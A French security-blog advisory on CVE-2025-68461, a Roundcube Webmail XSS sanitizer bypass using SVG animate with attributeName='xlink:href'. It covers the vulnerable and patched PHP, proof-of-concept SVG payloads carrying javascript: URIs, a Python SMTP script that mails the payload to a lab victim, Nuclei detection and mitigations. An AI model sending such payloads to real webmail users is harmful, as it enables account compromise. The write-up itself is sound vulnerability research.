Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2025-68461 : contournement XSS de Roundcube via SVG Animate

La CVE-2025-68461 (CVSS 7,2) permet à des balises SVG animate de contourner le sanitizer de Roundcube grâce aux préfixes d'espace de noms. PoC, analyse du correctif, détection avec Nuclei et mesures d'atténuation.

CVE-2025-68461

Contournement du sanitizer XSS de Roundcube Webmail via SVG Animate - PoC et exploit

17 décembre 2025 · CVSS 7,2 High · Roundcube < 1.5.12, < 1.6.12

CVE ID CVSS Versions affectées Corrigé
CVE-2025-68461 7.2 High < 1.5.12, < 1.6.12 1.5.12+,1.6.12+

Présentation de la CVE-2025-68461 : XSS via la balise SVG animate

Roundcube Webmail est un client de messagerie web open source très répandu, fourni par défaut avec cPanel et utilisé par des universités, des entreprises et des administrations du monde entier.

Une vulnérabilité de cross-site scripting (XSS) stocké a été découverte dans la manière dont le sanitizer HTML personnalisé de Roundcube (rcube_washtml.php) traite les balises SVG <animate>. Le sanitizer a pour rôle de supprimer le contenu dangereux des e-mails HTML avant leur affichage dans le navigateur de l'utilisateur. Il identifie et bloque correctement les éléments <animate> qui ciblent l'attribut href, un vecteur connu pour injecter des URI javascript: via l'animation SMIL. Cependant, la vérification ne tient pas compte des préfixes d'espace de noms XML. Lorsqu'un attaquant utilise attributeName="xlink:href" au lieu de attributeName="href", la comparaison de chaînes échoue, la balise <animate> entière traverse le sanitizer sans modification, et le payload javascript: placé dans l'attribut values est transmis au navigateur.

Contournement du sanitizer XSS : évasion par préfixe d'espace de noms

À l'origine du problème se trouve une comparaison de chaînes incomplète dans la logique de blocage des balises animate du sanitizer. Lorsque le sanitizer rencontre des éléments d'animation SVG, il vérifie s'ils ciblent l'attribut href et les bloque si c'est le cas. La vérification repose sur une fonction utilitaire qui compare la valeur de attributeName à la chaîne littérale "href". Cette comparaison ne supprime ni ne normalise les préfixes d'espace de noms XML : "xlink:href" ne correspond donc pas à "href" et la balise est autorisée.

Code vulnérable

Dans rcube_washtml.php, la méthode dumpHtml() contient la logique de contrôle des éléments d'animation :

else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])
    && self::attribute_value($node, 'attributename', 'href')
) {
    $dump .= "<!-- {$tagName} blocked -->";
}

La fonction utilitaire attribute_value() effectue la comparaison :

private static function attribute_value($node, $attr_name, $attr_value)
{
    foreach ($node->attributes as $name => $attr) {
        if (strtolower($name) === $attr_name) {
            $val = strtolower(trim($attr->nodeValue));
            if ($attr_value === $val) {
                return true;
            }
        }
    }
    return false;
}

Avec attributeName="xlink:href" :

  • strtolower(trim("xlink:href")) renvoie "xlink:href"
  • "href" === "xlink:href" est évalué à false
  • La fonction renvoie false, et la balise <animate> entière traverse le sanitizer avec son payload javascript: intact

Par ailleurs, la méthode wash_attribs() présente un second chemin vulnérable pour les attributs from et to des éléments d'animation :

if ($key == 'to' || $key == 'from') {
    $key = strtolower($node->getAttribute('attributeName'));  // "xlink:href"
    if ($key && !isset($this->_html_attribs[$key])) {
        $key = null;  // "xlink:href" not in allowlist → skip dangerous-attribute check
    }
}

Ici, "xlink:href" ne figure pas dans la liste d'autorisation _html_attribs : le nom de l'attribut est donc fixé à null et l'assainissement des attributs dangereux est entièrement ignoré.

Ce que produit le sanitizer

Considérons le payload suivant dans un e-mail HTML :

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>

Le sanitizer restitue la balise <animate> et son payload javascript: totalement intacts. En comparaison, le même payload avec attributeName="href" est correctement bloqué et remplacé par <!-- animate blocked -->.

Preuve de concept de la CVE-2025-68461 : confirmation du contournement du sanitizer

Pour vérifier la vulnérabilité, nous utilisons un environnement local afin de montrer, avec un PoC sur mesure, comment le sanitizer de Roundcube ne détecte pas les attributs préfixés par un espace de noms.

Livraison du payload

Le payload est livré en envoyant un e-mail HTML à la boîte Roundcube de la victime via SMTP.

L'environnement de test utilise Docker avec Roundcube 1.6.11 et GreenMail comme serveur de messagerie local, ce qui évite d'avoir recours à des identifiants SMTP externes :

  • docker-compose.yml :
version: "3.8"
services:
  greenmail:
    image: greenmail/standalone:2.0.1
    ports:
      - "3025:3025"   # SMTP
      - "3143:3143"   # IMAP
    environment:
      - GREENMAIL_OPTS=-Dgreenmail.setup.test.all -Dgreenmail.users=victim:victim@lab.local

  roundcube:
    image: roundcube/roundcubemail:1.6.11-apache
    ports:
      - "8080:80"
    environment:
      - ROUNDCUBEMAIL_DEFAULT_HOST=greenmail
      - ROUNDCUBEMAIL_DEFAULT_PORT=3143
      - ROUNDCUBEMAIL_SMTP_SERVER=greenmail
      - ROUNDCUBEMAIL_SMTP_PORT=3025
    depends_on:
      - greenmail
  • Script Python pour envoyer le payload :
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

PAYLOAD = """\
<html><body>
<p>Please review the attached document:</p>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration:underline;cursor:pointer">Click to view document</text>
  </a>
</svg>
<p>Best regards,<br>Document System</p>
</body></html>"""

msg = MIMEMultipart("alternative")
msg["From"] = "attacker@lab.local"
msg["To"] = "victim@lab.local"
msg["Subject"] = "Document Review Request"
msg.attach(MIMEText("View in HTML mode.", "plain"))
msg.attach(MIMEText(PAYLOAD, "html"))

with smtplib.SMTP("127.0.0.1", 3025) as server:
    server.sendmail("attacker@lab.local", ["victim@lab.local"], msg.as_string())

Vérification dans le DOM

Deux tests différentiels confirment le contournement :

Test 1 — attributeName="href" (bloqué) :

Le sanitizer identifie et bloque correctement la balise <animate>. Le DOM rendu affiche <!-- animate blocked --> à la place du payload :

  • Payload :
<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50">
  <a class="a">
    <animate attributeName="href" values="javascript:alert('CVE-2025-68461')" />
    <text x="10" y="30" fill="blue" font-size="14" style="text-decoration:underline;cursor:pointer">
      Click to view document
    </text>
  </a>
</svg>
  • Résultat :

Test 2 — attributeName="xlink:href" (contourné) :

La balise <animate> contenant l'URI javascript: complète traverse le sanitizer totalement intacte :

  • Payload :
<svg width="200" height="50">
  <a class="v1a">
    <animate attributeName="xlink:href" values="javascript:alert('XSS-CVE-2025-68461')"></animate>
    <text x="10" y="30" fill="blue" font-size="14"
          style="text-decoration: underline; cursor: pointer">Click to view document</text>
  </a>
</svg>
  • Résultat :

Pourquoi le JavaScript ne s'exécute pas

Suppression des espaces de noms par dumpHtml()

La méthode dumpHtml() de Roundcube tente de rétablir les déclarations d'espace de noms lors de la sérialisation des éléments SVG. Il ne s'agit pas d'une mesure de sécurité : elle existe parce que DOMDocument::loadHTML() de PHP ne comprend pas les espaces de noms XML et les supprime lors de l'analyse. La méthode interroge le DOM pour récupérer les espaces de noms restants et les rattache de nouveau :

if ($tagName == 'svg') {
    $xpath = new DOMXPath($node->ownerDocument);
    foreach ($xpath->query('namespace::*') as $ns) {
        if ($ns->nodeName != 'xmlns:xml') {
            $tag .= sprintf(' %s="%s"',
                $ns->nodeName,
                htmlspecialchars($ns->nodeValue, ENT_QUOTES, $this->config['charset'])
            );
        }
    }
}

Le problème est que loadHTML() a déjà supprimé la déclaration xmlns:xlink="http://www.w3.org/1999/xlink" avant l'exécution de ce code. La requête XPath ne trouve aucun espace de noms restant, et la balise <svg> est donc produite sans aucun attribut d'espace de noms. La valeur "xlink:href" de attributeName passe sans modification, car il s'agit d'une chaîne située dans une valeur d'attribut, et non d'une déclaration d'espace de noms. Mais le navigateur n'a aucun espace de noms xlink auquel la rattacher. Le moteur SMIL ne peut pas faire correspondre xlink:href à une propriété animable, si bien que animVal reste vide et que l'URI javascript: n'est jamais appliquée.

Dépréciation de xlink:href dans les navigateurs

L'attribut xlink:href est déprécié dans SVG 2. SVG 2 a supprimé entièrement le besoin de l'espace de noms xlink : il faut utiliser href à la place. Les navigateurs modernes prennent encore en charge xlink:href par souci de rétrocompatibilité, mais uniquement lorsque l'espace de noms xlink est correctement déclaré. Comme la chaîne de traitement de Roundcube supprime cette déclaration d'espace de noms, le navigateur ne peut pas résoudre xlink:href comme propriété animable, et l'animation échoue silencieusement.

Confirmation

Ce point a été confirmé en modifiant dumpHtml() sur le serveur pour forcer des déclarations d'espace de noms correctes :

if ($tagName == 'svg') {
    $tag .= 'xmlns:xlink="http://www.w3.org/1999/xlink"';
}

Avec ce correctif, un clic sur le lien a déclenché alert() avec succès dans Roundcube. L'annulation du correctif a rétabli le comportement initial, sans exécution.

Le correctif de la CVE-2025-68461

Voici un résumé de la manière dont Roundcube a corrigé un contournement critique du filtre d'attributs en normalisant les espaces de noms XML, suivi d'un guide d'utilisation de Nuclei pour détecter à grande échelle les serveurs vulnérables par extraction de la chaîne de version.

Analyse du code corrigé

Le correctif ajoute une étape de suppression du préfixe d'espace de noms avant la comparaison :

// BEFORE (vulnerable): raw string comparison
$val = strtolower(trim($attr->nodeValue));
if ($attr_value === $val) {
    return true;
}

// AFTER (fixed): strip namespace prefix before comparison : xlink:href => href
$val = strtolower(trim($attr->nodeValue));
$val = trim(preg_replace('/^.*:/', '', strtolower($attr->nodeValue)));
if ($attr_value === $val) {
    return true;
}

Désormais, "xlink:href" devient "href" avant la comparaison, et la balise <animate> est correctement bloquée.

Détection avec Nuclei

Un template Nuclei permet d'identifier à grande échelle les instances Roundcube vulnérables. Le template extrait l'entier rcversion du JavaScript de la page de connexion et le compare aux plages de versions affectées :

Le template détecte toute instance Roundcube exécutant une version inférieure à 1.5.12, ou inférieure à 1.6.12. Aucune authentification n'est requise : la version est exposée sur la page de connexion.

Atténuation de la CVE-2025-68461 et bonnes pratiques

  • Mettre à jour immédiatement : passez à Roundcube 1.6.12 ou 1.5.12 sans attendre. Ces versions contiennent le correctif de la CVE-2025-68461.
  • Content Security Policy : déployez un en-tête CSP strict qui interdit les URI javascript: et l'exécution de scripts inline, afin d'ajouter une défense en profondeur contre les XSS.
  • Exposition réseau : limitez l'accès public aux interfaces webmail dans la mesure du possible. Les instances Roundcube sont des cibles de grande valeur pour les groupes APT.
  • Surveiller les tentatives d'exploitation : surveillez les e-mails contenant des éléments SVG <animate>, en particulier avec xlink:href dans l'attribut attributeName.

Références

Ressource Lien
Avis de sécurité Roundcube (1.6.12 / 1.5.12) https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12
Commit du correctif bfa032631c https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb
NVD CVE-2025-68461 https://nvd.nist.gov/vuln/detail/CVE-2025-68461
CWE-79: Improper Neutralization of Input During Web Page Generation https://cwe.mitre.org/data/definitions/79.html
Template Nuclei https://github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2025-68461.yaml